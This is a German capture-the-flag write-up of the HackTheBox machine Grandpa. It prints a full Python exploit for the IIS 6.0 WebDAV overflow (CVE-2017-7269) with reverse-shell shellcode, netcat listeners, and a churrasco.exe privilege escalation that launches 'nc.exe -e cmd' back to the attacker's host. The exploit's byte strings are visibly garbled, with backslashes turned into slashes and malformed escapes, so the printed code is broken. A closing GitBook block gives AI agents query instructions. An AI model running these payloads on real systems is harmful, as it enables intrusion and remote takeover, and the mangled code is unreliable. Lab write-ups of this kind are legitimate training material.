> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Grandpa HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote-Pufferüberlauf (RCE)
* Token Kidnapping - Churrasco (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/acefea57d273741b2734089f50d4b77306a390a7" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/41caebcdf0cc8dbcaa97913a80f402dbc0b7c3ab" alt="" width="563"><figcaption></figcaption></figure>

**Suche mit Nmap nach offenen Ports: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="/files/2acaeeb9198858cfee90e8d1ac0881d0edf0a21f" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="/files/4ad6b7bd83468dd0dda8ce95155736e3d3271c89" alt=""><figcaption></figcaption></figure>

Wir stellen fest, dass die Seite verwendet **WebDAV** unter **Microsoft-IIS 6.0**.

## Ausnutzung von WebDAV - Microsoft-IIS 6.0

**Upload-Test mit Davtest**

Wir prüfen, ob wir schädliche Dateien einschleusen können:

```bash
davtest -url http://10.10.10.14
```

Allerdings liefert jede Erweiterung **Fehlschlag**, was darauf hinweist, dass Uploads eingeschränkt sind.

<figure><img src="/files/2104ab8f33be01a2c9c402c568e8e080bf9880c5" alt="" width="563"><figcaption></figcaption></figure>

Da wir bestätigt haben, dass der Server läuft **IIS 6.0**, nutzen wir eine Schwachstelle von **Pufferüberlauf** 2017 entdeckt.

<figure><img src="/files/aa779fd677ed94a57697e21ed4e51cbae94271f4" alt=""><figcaption></figcaption></figure>

Hier ist ein Python-Skript, um diese Schwachstelle auszunutzen und eine Shell zu erhalten:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'Verwendung:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
' /x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
'/xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
'/xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
'/xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
'/x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
'/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
'/x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
'/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
'/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
'/x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
'/xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
'/xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
'/xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
'/x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
'/x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
'/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
'/x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
'/xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
'/x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
'/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
'/xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
'/x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
'/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
'/xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
'/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
'/xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
'/x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
'/x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
'/x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
'/x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
'/x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
'/xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
'/xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/95/x93/xe7/xa9/x8f/xe4/xa1/a8/xe5/x99/xa3/xe6/xb5/x94/xe6/xa1/x85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xa1/x85/xe6/xa5/92/xe5/x90/xb1/xe4/xb1/x98/xe6/xa9/x91/xe7/x89/x81/xe4/x88/xb1/xe7/x80/xb5/xe5/xa1/x90/xe3/x99/xa4/xe6/xb1/x87/xe3/x94/xb9/xe5/x91/xaa/xe5/80/xb4/xe5/x91/83/xe7/x9d/x92/xe5/x81/xa1/xe3/x88/xb2/xe6/xb5/x8b/xe6/xb0/xb4/xe3/x89/x87/xe6/x89/x81/xe3/x9d/x8d/xe5/x85/xa1/xe5/xa1/xa2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xb0/xe7/95/x84/xe6/xa1/xaa/xe3/x8d/xb4/xe4/xb9/x8a/xe7/xa1/xab/xe4/xa5/xb6/xe4/xb9/xb3/xe4/xb1/xaa/xe5/x9d/xba/xe6/xbd/xb1/xe5/xa1/x8a/xe3/x88/xb0/xe3/x9d/xae/xe4/xad/x89/xe5/89/x8d/xe4/xa1/xa3/xe6/xbd/x8c/xe7/x95/x96/xe7/x95/xb5/xe6/x99/xaf/xe7/x99/xa8/xe4/x91/x8d/xe5/x81/xb0/xe7/xa8/xb6/xe6/x89/x8b/xe6/x95/x97/xe7/x95/x90/xe6/a9/xb2/xe7/xa9/xab/xe7/x9d/xa2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/94/xe6/xb1/xb9/xe5/x81/x8a/xe5/x91/xa2/xe5/80/xb3/xe3/x95/xb7/xe6/a9/xb7/xe4/x85/x84/xe3/x8c/xb4/xe6/x91/xb6/xe4/xb5/x86/xe5/x99/x94/xe4/x9d/xac/xe6/x95/x83/xe7/x98/xb2/xe7/x89/xb8/xe5/x9d/xa9/xe4/x8c/xb8/xe6/x89/xb2/xe5/xa8/xb0/xe5/xa4/xb8/xe5/x91/x88/xc8/x82/xc8/x82/xe1/x8b/x80/xe6/a0/x83/xe6/xb1/x84/xe5/x89/x96/xe4/xac/xb7/xe6/xb1/xad/xe4/xbd/x98/xe5/xa1/x9a/xe7/a5/x90/xe4/xa5/xaa/xe5/xa1/x8f/xe4/xa9/x92/xe4/x85/x90/xe6/x99/x8d/xe1/x8f/x80/xe6/a0/x83/xe4/xa0/xb4/xe6/x94/xb1/xe6/xbd/x83/xe6/xb9/xa6/xe7/x91/x81/xe4/x8d/xac/xe1/x8f/x80/xe6/a0/x83/xe5/x8d/x83/xe6/a9/x81/xe7/x81/x92/xe3/x8c/xb0/xe5/a1/xa6/xe4/x89/x8c/xe7/x81/x8b/xe6/x8d/x86/xe5/x85/xb3/xe7/a5/81/xe7/xa9/x90/xe4/xa9/xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/xa5/x88/xe6/x85/xb5/xe4/xbd/x83/xe6/xbd/xa7/xe6/xad/xaf/xe4/xa1/x85/xe3/x99/x86/xe6/x9d/xb5/xe4/x90/xb3/xe3/xa1/xb1/xe5/x9d/xa5/xe5/xa9/xa2/xe5/x90/xb5/xe5/x99/xa1/xe6/a5/92/xe6/a9/x93/xe5/85/x97/xe3/xxa1/xe8/x88/x8e/xe5/xa5/x88/xe6/x8d/x95/xe4/xa5/xb1/xe4/x8d/xa4/xe6/x91/xb2/xe3/x91/xa8/xe4/x9d/x98/xe7/x85/xb9/xe3/x8d/xab/xe6/xad/x95/xe6/xb5/x88/xe5/x81/x8f/xe7/xa9/x86/xe3/x91/xb1/xe6/xbd/x94/xe7/x91/x83/xe5/xa5/x96/xe6/xbd/xaf/xe7/x8d/x81/xe3/x91/x97/xe6/x85/xa8/xe7/xa9/xb2/xe3/x9d/x85/xe4/xb5/x89/xe5/x9d/x8e/xe5/x91/x88/xe4/b0/xb8/xe3/x99/xba/xe3/x95/xb2/xe6/x89/xa6/xe6/xb9/x83/xe4/xa1/xad/xe3/x95/x88/xe6/x85/xb7/xe4/xb5/x9a/xe6/x85/xb4/xe4/x84/xb3/xe4/x8d/xa5/xe5/x89/xb2/xe6/xb5/xa9/xe3/x99/xb1/xe4/xb9/xa4/xe6/xb8/xb9/xe6/x8d/x93/xe6/xad/xa4/xe5/x85/x86/xe4/xbc/xb0/xe7/xa1/xaf/xe7/x89/x93/xe6/x9d/x90/xe4/x95/x93/xe7/xa9/xa3/xe7/x84/xb9/xe4/xbd/x93/xe4/x91/x96/xe6/xbc/xb6/xe7/x8d/xb9/xe6/a1/xb7/xe7/xa9/x96/xe6/x85/x8a/xe3/xa5/x85/xe3/x98/xb9/xe6/xb0/xb9/xe4/x94/xb1/xe3/x91/xb2/xe5/x8d/xa5/xe5/xa1/x8a/xe4/x91/x8e/xe7/xa9/x84/xe6/xb0/xb5/xe5/a9/96/xe6/x89/x81/xe6/b9/xb2/xe6/x98/xb1/xe5/a5/x99/xe5/x90/xb3/xe3/x85/82/xe5/xa1/xa5/xe5/a5/x81/xe7/x85/x90/xe3/80/xb6/xe5/x9d/xb7/xe4/x91/x97/xe5/8d/xa1/xe1/x8f/x80/xe6/a0/x83/xe6/xb9/x8f/xe6/a0/x80/xe6/xb9/x8f/xe6/a0/x80/xe4/x89/x87/xe7/x99/xaa/xe1/x8f/x80/xe6/a0/x83/xe4/x89/x97/xe4/xbd/xb4/xe5/xa5/x87/xe5/x88/xb4/xe4/xad/xa6/xe4/xad/x82/xe7/x91/xa4/xe7/a1/xaf/xe6/x82/x82/xe6/a0/x81/xe5/x84/xb5/xe7/x89/xba/xe7/x91/xba/xe4/xb5/x87/xe4/x91/x99/xe5/x9d/x97/eb/x84/x93/xe6/a0/x80/xe3/x85/xb6/xe6/xb9/xaf/xe2/x93/xa3/xe6/a0/x81/xe1/x91/xa0/xe6/a0/x83/xcc/x80/xe7/xbf/xbe/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/a0/x83/xd1/xae/xe6/a0/x83/xe7/x85/xae/xe7/x91/xb0/xe1/x90/xb4/xe6/a0/x83/xe2/xa7/xa7/xe6/a0/x81/xe9/x8e/x91/xe6/a0/x80/xe3/xa4/xb1/xe6/x99/ae/xe4/xa5/x95/xe3/x81/x92/xe5/x91/xab/xe7/x99/xab/xe7/x89/x8a/xe7/xa5/xa1/xe1/x90/x9c/xe6/a0/x83/xe6/xb8/x85/xe6/a0/x80/xe7/x9c/xb2/xe7/xa5/xa8/xe4/xb5/xa9/xe3/x99/xac/xe4/x91/xa8/xe4/xb5/xb0/xe8/x89/x86/xe6/a0/x80/xe4/xa1/xb7/xe3/x89/x93/xe1/xb6/xaa/xe6/a0/x82/xe6/xbd/xaa/xe4/x8c/xb5/xe1/x8f/xb8/xe6/a0/x83/xe2/xa7/xa7/xe6/a0/x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Wir horchen auf Port 443:

```bash
rlwrap nc -nvlp 443
```

#### Anschließend starten wir den Exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="/files/98b031cec03766c450997cb7f07a399a312e5a41" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Kernel-Exploitation - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Durch Ausführen des `systeminfo` Mit dem Befehl stellen wir fest, dass das Zielsystem unter **Windows Server 2003**, ein veraltetes und verwundbares Betriebssystem:

```bash
systeminfo
```

<figure><img src="/files/16b9ab10efa4e985754b40a1de66f4c76207045d" alt=""><figcaption></figcaption></figure>

Außerdem haben wir das Privileg **SeImpersonatePrivilege**, was es uns ermöglicht, mit bekannten Techniken zu versuchen, unsere Rechte zu erhöhen.

<figure><img src="/files/6aa632a35a6c3595bf9f411dbf58e1668e18f174" alt="" width="542"><figcaption></figcaption></figure>

#### Verwendung von churrasco.exe

Um diese Schwachstelle auszunutzen, verwenden wir **churrasco.exe**, einen Exploit, um SYSTEM-Rechte zu erhalten.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows-Dateiübertragung (SMB)/*/*

> Wir verwenden **smbserver.py** um ein Verzeichnis mit der Exploit-Datei 40627.exe freizugeben. Diese Datei wird dann auf den Zielrechner kopiert.

```bash
smbserver.py share $(pwd) -smb2support
```

Vom Zielrechner haben wir die Exploit-Datei in das aktuelle Verzeichnis kopiert:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="/files/892f6a877a619b0b122cbaa11ca96c1a71fded9b" alt=""><figcaption></figcaption></figure>

Anschließend können wir mit dieser Binärdatei jeden beliebigen Befehl ausführen, zum Beispiel:

```bash
./churrasco.exe "whoami"
```

Wenn der Exploit korrekt funktioniert, sollten wir sehen **NT AUTHORITY/SYSTEM**.

<figure><img src="/files/796ce20d0872bc175b065fc76d679ab1166891e2" alt=""><figcaption></figcaption></figure>

**Reverse Shell herstellen**

Um eine Reverse Shell herzustellen, lauschen wir auf Port 443:

```bash
rlwrap nc -nvlp 443
```

Wir erstellen erneut einen SMB-Server mit **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Schließlich führen wir die Reverse Shell mit dem folgenden Befehl aus:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/ecc86e0e82f3fe3e940a72c9039383192ffb9eaa" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/d56c89680ea8e850638ce53ebe311d345ccaca6d" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="/files/092e1bb24dfa1f63afb8ef73fedf5a5f1e1f6624" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.